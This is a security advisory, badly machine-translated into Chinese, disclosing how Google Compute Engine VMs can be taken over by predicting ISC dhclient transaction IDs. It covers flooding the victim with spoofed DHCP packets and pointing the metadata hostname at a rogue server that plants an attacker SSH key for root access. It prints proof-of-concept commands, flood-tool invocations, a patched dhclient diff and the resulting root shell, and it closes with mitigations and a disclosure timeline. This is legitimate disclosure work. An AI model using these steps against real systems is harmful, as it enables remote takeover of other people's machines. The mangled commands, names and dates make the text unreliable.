这是一个关于未分割漏洞的咨询(在发布此押金时,2021-06-25)影响Google' S Compute Engine平台的Virtual Machine。以下技术细节几乎与发送给VRP的报告完全相同团队。
由于ISC DHCP软件使用的弱势数以及其他因素的不幸组合,攻击者可以通过网络接管谷歌云平台的虚拟机。这是通过从目标虚拟机&#39的模拟元数据服务器冒充元数据服务器来完成的view.by安装此exproit,攻击者可以通过ssh(公钥身份验证)授予自己的访问权限,因此它们可以作为root用户登录。
ISC' DHCP客户端(Debian Flavors上的ISC-DHCP-Client Package)的实现依赖于onrandom(3)来生成伪随机数(无线添加剂随机反馈)。旨在与SRANDOM功能一起种子:
/ *从当前时间组成随机数发生器的种子加上每个接口的最后四个字节的总和' s硬件地址被解释为整数。没有太多的熵,但我们'重新启动,所以我们'重复没有找到更好的东西。 * /种子= 0; for(IP =接口; IP; IP = IP-> next){int junk; Memcpy(&垃圾,& ip-> hw_address.hbuf [Ip-> hw_address.hlen - sizeof seed],sizeof seed);种子+ =垃圾; srandom(种子+ cur_time +(unsigned)getPid());
网络接口卡的以太网地址(Mac)的最后4个字节的总和
在Google Cloud平台上,虚拟机通常只有1个NIC,这样的东西:
根@ test-instance-1:〜/ isc-dhcp-client / real3#ifconfigens4:flags = 4163<上升,播放,运行,多播> MTU 1460 INET 10.128.0.2 NetMask 255.255.255.255播放10.128.0.2 INET6 FE80 :: 4001:AFF:FE80:2 Prefixlen 64 ScopeID 0x20<链接>乙醚42:01:0A:80:00:02 Txqueulen 1000(以太网)RX数据包1336873字节128485980(122.5 MIB)RX误差0丢弃0 operruns 0帧0 Tx包5708403字节2012678044(1.8 Gib)Tx误差0丢弃0 operruns 0载波0碰撞0
请注意,MAC地址的最后4个字节(0a:80:00:02)(42:01:0a:80:00:02)实际上是框的内部IP地址(10.128.0.2)。这意味着3个组件中的1个是有效的。
DHClient过程的PID可预测。 Linux内核以线性方式分配进程ID.i发现PID在290和315之间变化(通过重新启动基于Debian 10的VM多次和检查PID),使得种子的这种组件容易预测。
UNIX时间组件具有更广泛的域,但这结果不是实际问题(请参阅以后)。
GCP的防火墙/路由器通过VM发送的广播数据包,因此只有元数据服务器(169.254.169.254)收到它们。但是,DHCP协议的某些阶段Don' t依赖广播,并且可以通过预先计算和发送的数据包。
要安装此攻击,攻击者需要使用一组预先计算/疑似XID和直接泛滥的DHCP数据包进行泛滥(这里没有广播)。如果xid是正确的,受害者机器alpiesthe网络配置。这是一个种族条件,但由于洪水快速和彻底,元数据server以及没有真正的胜利机会。
此时,攻击者处于重新配置受害者的网络堆栈的位置。
Google依赖于元数据服务器,包括SSH公钥的分发。连接在网络/路由层处于网络/路由层,服务器未经身份验证(仅限TLS,Clearhttp)。 Google_Guest_Agent进程,负责处理ThemetAdata Server的响应,通过虚拟主机名Metadata.Google.Internal在/ etc / hosts文件中建立连接。此文件由/etc/dhcp/dhclient-exit-hooks.d/google_set_hostnameAs管理DHCP响应处理的挂钩部分,并且别名通常由此脚本添加到每个DHCPACK中。Metadata Server可以完全控制DHCP。冒充。这次攻击已经发现了克里斯莫格莱斯的攻击,他用他的奥斯洛宾普罗斯康促进了我的研究在这里:
差异是,Dhclient过程的洪水在我的攻击中远程完成,猜测XID。
#1指示客户端配置NIC上的Rogue Metadata Server的IP地址。这有效地切断了盒子的互联网连接。 Google_Guest_Agent Can' t返回连接真实的元数据服务器。这是DHCP租约短暂的(15秒),所以Dhclient再次发送DHCPRequest并开始寻找新的DHCPACK。
由于新的IP地址(Rouge Metadata Server)和新主机名(MetAdata.Google.com)是该TheDhcpack数据包的一部分,因此Google_set_hostname函数添加了如下所示的两条线(35.209.180.239是我使用的rougemetadata server):
此时攻击者仍在洪水,因为ARP不会快速刷新,因此这些数据包颁发。
#2。还原工作网络堆栈以及有效的路由器地址。这个dhcpack不包含主机名,因此google_set_hostname won' t触摸/ etc / hosts。中毒元数据.Google.internal条目仍在那里。
如果在主机文件中存在多个条目,则Linux内核优先考虑链接本地地址(169.254.169.254)低于可路由器。
此时Google_guest_Agent可以与(Rouge)元数据服务器建立TCP连接,其中包含攻击者的GetSA配置。将该条目填充到/root/.ssh/authorized_keysand中,攻击者可以远程打开根壳。
攻击者将在下面的所有攻击情景中完全访问目标虚拟机。
攻击#1:针对同一子网(〜相同项目)的VM,而它正在重新启动。攻击者需要在另一个主机上存在。
攻击#2:针对同一子网(〜相同项目)的VM,而刷新租约(因此不需要重新启动)。这是每半个小时(1800s)进行每半个小时,让48个窗口/尝试。F级VMS有〜170.000 PPS(每秒数据包),并且一天的UNIXTIET +潜在的PID制作〜86420个潜在XID,这是一个可行的攻击矢量。
攻击#3:通过互联网定位VM。这需要在受害者VM前面的防火墙完全打开。可以完全打开。可以避免常见场景,但由于即使GCP云控制台的WebUI也有一个选项,则必须存在此配置的一些VM。在这种情况下攻击者还需要猜测VM的内部IP地址,但自从第一个VM Seepsto获得10.128.0.2始终,攻击可以工作。
如上所述,您需要运行运行主机的Rogue元数据服务器,该服务器与端口80从Internet开立.I为此目的使用了35.209.180.239(这是10.128.0.2的公共IP地址,实际上是一个计算引擎盒), meta.py在这里运行:
当受害框重新启动时,我的概念证明利用了简化的设置。在这种情况下,可以轻松猜测DHClient过程的UNIXTIMEOF。
受害框在这里是10.128.0.4。此主机的公共IP地址为34.67.219.89.首先,首先,我们使用属于ID_RSA.pub的RSA私钥访问,我们可以访问id_rsa.pub,for meta.py:
然后我在受害者主机上键入重新启动(10.128.0.4)。 takeover -at -reboot.pl的其余输出:
10.128.0.4似乎不再运行了:IP Addr show dev ens4 | awk' / INET / {打印$ 2}' | CUT -D / -F1运行:IP路由显示默认| awk' /通过/ {打印$ 3}' NIC:ENS4 MIN PID:290 MAX PID:315 MIN TS:1601231808 MAX TS:1601231823我的IP:10.128.0.2路由器:10.128.0.1目标IP:10.128.0.4目标MAC:42:01:0A:80:00:04潜在XID数量:41初始报价+ ACK洪水MAC:42:01:0A:80:00:04 SRC IP:10.128.0.2 DST IP:10.128.0.4新IP:35.209.180.239新主机名:MetAdata.Google.Internal新路线:ACK:真实报价:真实的oneShot:错误洪水再次恢复原始网络配置Mac:42:01:0A:80:00:04 SRC IP:10.128.0.2 DST IP:10.128.0.4新IP:10.128。 0.4新主机名:新路线:10.128.0.1 ACK:真实优惠:False OneShot:False
在此之后,Meta.py正在运行的屏幕的输出被淹没,如下所示的行淹没:
此时,我可以使用新的(攻击者控制)SSH键登录受害框。
root @ builder:/ opt / _tmp / dhcp / exproit#ssh -i id_rsa [email protected] Linux元数据4.19.0-11-cloud-amd64#1 SMP Debian 4.19.146-1(2020-09-17)x86_64 Debian GNU / Linux系统中包含的程序是免费软件;每个程序的确切分配项在/ usr / share / doc / * /版权中的各个文件中描述。 Debian GNU / Linux绝对没有保修,在适用法律允许的范围内。根@元数据:〜#id uid = 0(root)gid = 0(root)组= 0(root),1000(Google-sudoers)
要验证此设置,我构建了一个略微修改的dhclient版本;除了一些额外的日志线外,唯一一个重要的变化是进入租赁续期的频率:
*** DHCLIENT.C.ORIG 2020-09-29 23:38:16.322296529 +0200 --- DHCLIENT.C 2020-09-29 22:51:11.000000000 +0200 ************ *** void bind_lease(客户)*** 1573,1578 **** --- 1573,1580 ----客户 - > new = null; / *设置超时以启动续订流程。 * / +客户端 - > entive-> enewal = cur_time + 5; // hack!+ tv.tv_sec = client-> entive->续约; TV.TV_USEC =((客户端 - > entive-> engewal - cur_tv.tv_sec)> 1)? myrandom("活动续约")%1000000:cur_tv.tv_usec;
一个10分钟的窗户由〜600个翅膀组成。我重新启动了受害者主机(10.128.0.4),登录,RAN JournalCTL -F | Grep Dhclient查看正在发生的事情。然后我执行了TakeOver-At-renew.pl Scripton攻击者机器(内部IP:10.128.0.2,外部IP:35.209.180.239,同一子网上的VM):
10月07日07:06:05测试 - 【举例型 - 2 DHClient [301]:DHCPREQUEST为10.128.0.4 ens4到169.254.169.254端口670254 07:06:05 TEST-instance-2 dhclient [301]:DHCPACK为10.128。 0.4从169.254.169.2540CT 02 07:06:05 Test-instance-2 Dhclient [301]:绑定到10.128.0.4 - 续订5秒.Oct 02 07:06:10测试 - instance-2 dhclient [301] :DHCPREQUEST为10.128.0.4在ENS4到169.254.169.254端口670CT 02 07:06:10 TEST-instance-2 dhclient [301]:101.128.0.4从169.254.169.254oct 02 07:06:11测试 - 实例 - 2 dhclient [301]:绑定到10.128.0.4 - 续订5秒。02 07:06:16测试 - 案例-2 dhclient [301]:DHCPREQUEST为10.128.0.4 on ENS4到169.254.169.254端口67oct 02 07 :06:16 Test-instance-2 Dhclient [301]:10.128.0.4的DHCPACK从169.254.169.2540CT 02 07:06:16测试 - instance-2 dhclient [301]:绑定到10.128.0.4 - 5 seconds.oct 02 07:06:21 Test-instance-2 Dhclient [301]:DHCPRequest为10.128.0.4在ENS4到169.254.169.254端口670254 02 07:06:21 Test-Instanc E-2 DHCLIENT [301]:10.128.0.4的DHCPACK从169.254.169.2540CT 02 07:06:21测试 - instance-2 dhclient [301]:绑定到10.128.0.4 - 续订5秒.Oct 02 07: 06:26 Test-instance-2 Dhclient [301]:DHCPREQUEST为10.128.0.4,在ENS4到169.254.169.254端口670.254 07:06:26 TEST-instance-2 Dhclient [301]:10.128.0.4的DHCPACK of 169.254。 169.254OCT 02 07:06:26 Test-instance-2 dhclient [301]:绑定到10.128.0.4 - 续订5秒。02 07:06:31测试 - 案例-2 dhclient [301]:DHCPREQUEST为10.128 .0.4 ON ENS4到169.254.169.254端口670CT 02 07:06:31 Test-instance-2 Dhclient [301]:35.209.180.239的Dhcpack从10.128.0.2oct 02 07:06:32元数据dhclient [301]:绑定到35.209.180.239 - 续约在5秒内.OCT 02 07:06:37元数据Dhclient [301]:DHCPRequest为35.209.180.239 ens4到35.209.180.239端口670ct 02 07:06:44 Metadata Dhclient [301]:dhcprequest 35.209.180.239在ens4到35.209.180.239端口670ct 02 07:06:46元数据Dhclient [301]:Dhcpack为10.128.0.4从1 0.128.0.2oct 02 07:06:47元数据Dhclient [301]:绑定到10.128.0.4 - 在5秒内更新。
这意味着第六轮是成功的。与#34;正常"租赁更新(未被批准的Dhclient),同样的事情会留下〜3个小时。
root @ test-instance-2:〜#cat /etc/hosts127.0.0.1 localhost :: 1 localhost ip6-localhost ip6-loopbackff02 :: 1 ip6-allnodesff02 :: 2 ip6-allrouters35.209.180.239元数据.gooll。 Google169.254.169.254添加的内部元数据#169.254 Metadata.Google.Internal#添加到Google
我重复攻击并用3个小时的XIDS(〜10000)淹没了受害者。第51次DHCPREQUEST被劫持(不会比与&#34的完整日拍摄的一点点,"常规"租约时代)。我得出结论,执行时间确实与xids的数量相关联。当然会降低成功在现实生活设置中的速度,但攻击仍然可行。
我发现我的DHCP相关数据包没有转发到VM,而VM正在重新启动(可能不是在重启时返回Thelease后),有效地排除了TakeOver-at-discover.pl。
我决定对租赁续约进行攻击(有效地与#2相同)。我的期望是它应该是可行的。
我使用AWS VM作为攻击机和一个非常短的时间窗口测试了这种情况(2分钟)。元脚本仍在GCP攻击机(外部IP:35.209.180.239)上运行.i重新启动受害者机器(内部IP:10.128.0.4,外部IP:34.122.27.253),登录,RAN JournalCTL -F | Grep Dhclient。
root @ ip-172-31-25-197:〜/ real8#nic = eth0 oneShot_window_min = 2 final_ip = 10.128.0.4 my_router = 10.128.0.1 ./takeover-at-renew.pl 34.122.27.253 35.209.180.239在1601651865和1601651984RUN之间的XIDS:IP ADDR SHOW DEV ETH0 | awk' / INET / {打印$ 2}' | CUT -D / -F1RUN:/ ROOT / REAL8 / RANDR 10.128.0.4 290 315 16016519865 1601651984 2> / dev / null |粘贴-sd',' - > /tmp/xids.txtric:eth0min pid:290max pid:315min ts:1601651865max ts:1601651865max ts:1601651984Attacker IP:172.31.25.197Router:10.128.0.1target IP(初始阶段):34.122.27.253target Mac:42:01: 0A:80:00:04Target IP(最终阶段):10.128.0.434.122.27.253是洪水淹没了1801年SEC的受害者,在背景中监测了1801秒的背景:/ ROOT / REAL8 /洪水 - 破坏15 -DEV eth0 -dstip 34.122.27.253-newhost metadata.google.internal -newip-newip 35.209.180.239 -srcip 172.31.25.197 -mac 42:01:0a:80:00:04 -xidfile /tmp/xids.txtmac:42: 01:0A:80:00:04SRC IP:172.31.25.197DST IP:34.122.27.253NEW IP:35.209.180.239NEW主机名:METAData.Google.InternalNEW路由:ACK:TRUEOFFER:FalseNeLESHOT:XIDS的Falsenumber:145主机已关闭,它可能吞噬了毒药常春藤!现在有些洪水再次恢复连接似乎攻击是成功的@ IP-172-31-25-197:〜/ Real8#在后台运行12秒:/ root / real8 /洪水-ack -ack -lease 1800 -dev eth0 -DSTIP 34.122.27.253 -NEWIP 10.128.0.4 -Route 10.128.0.1 -SRCIP 172.31.25.197 -MAC 42:01:0A:80:00:04 -XIDFILE /TMP/XIDS.TXTMAC:42:01:0A:80: 00:04SRC IP:172.31.25.197DST IP:34.122.27.253NEW IP:10.128.0.4NEW主机名:新路由:10.128.0.1ACK:TRUEOFFER:FalseNeShot:XIDS的Falsenumber:145
这是在第21秒的第21阶段运行了一段时间,最后成功了。正常租赁时报,这将达到〜11小时。元数据服务器已成功播出:
10月02日15:21:30 Test-instance-2 Dhclient [301]:35.209.180.239的Dhcpack从3.136.97.24444444444444444444444:Metadata Dhclient [301]:绑定到35.209.180.239 - 在5秒内续约。
root @ test-instance-2:〜#cat /etc/hosts127.0.0.1 localhost :: 1 localhost ip6-localhost ip6-loopbackff02 :: 1 ip6-allnodesff02 :: 2 ip6-allrouters35.209.180.239元数据.gooll。 Google169.254.169.254添加的内部元数据#169.254 Metadata.Google.Internal#添加到Google
还有来自Osconfig代理的一些联系(访客代理的保留和活力连接可能幸存于网络变化)
当我重复这次攻击时(仍然是2分钟的Xid窗口),第五轮成功(常规租约2.5小时)。
结论攻击#2和#3:不是地球上最可靠的东西,但绝对可能。我认为如果我将受害者主机向下插入Google_guest_agent的TCP读取超时,那么现有的元数据服务器连接将被中断,然后在恢复网络连接后重新安装连接,它将达到假元数据服务器。
与ISC取得联系。他们真的需要改进SRANDOM设置。也许得到一个新的功能,添加了删除数据包ByNon-合法的DHCP服务器(因此您可以依赖于此作为额外的安全措施)。
即使ISC改进了他们的软件,它也会在大多数VM上升级并升级。分析您的防火墙日志以学习,您有任何客户端依赖于这些端口的任何可用于任何合法原因的客户端.Block UDP / 68在VM之间,因此只有元数据服务器可以执行DHCP。
通过此虚拟主机名(MetAdata.Google.Internal)停止使用元数据服务器。至少在你的官方代理商中。
通过DHCP停止管理虚拟主机名(Metadata.Google.Internal)。无论如何,IP地址被记录为稳定。
至少在官方代理商中使用TLS来保护与元数据服务器的通信。
注意,使用随机生成的MAC地址WOWN' t防止在同一子网上安装攻击。
我只检查了主要的主题,由于另一个因素,它们不会受到影响(至少在检查时)(例如,不默认使用DHCP)。
Google通常关闭带有状态&#34的错误报告;不可行的"当需要修复风险所需的努力。这不是这种情况。我认为背景中有一些技术复杂性,它不会轻松地部署网络级保护量度的' t allowthem .until固定到达,Don' t使用dhcp或设置主机级防火墙规则,以确保DHCP通信Metadata Server(169.254.169.254)是。
2020-09-26:问题已识别,攻击#1验证了2012-09-27:报告给Google VRP2020-09-29:VRP分类完成"调查它" 2020-10-02:进一步的详细信息共享关于攻击#2和#32020-10-07:接受,"漂亮的Catch" 2020-12-02:关于估计估计的时间的估计时间:..."假期季节即将到来" 2021-06-07:问谷歌如果修复是合理的时间,就像我' m计划发布adject2021-06-08:标准响应"我们要求一个合理的提前通知。" 2021-06-25:公开披露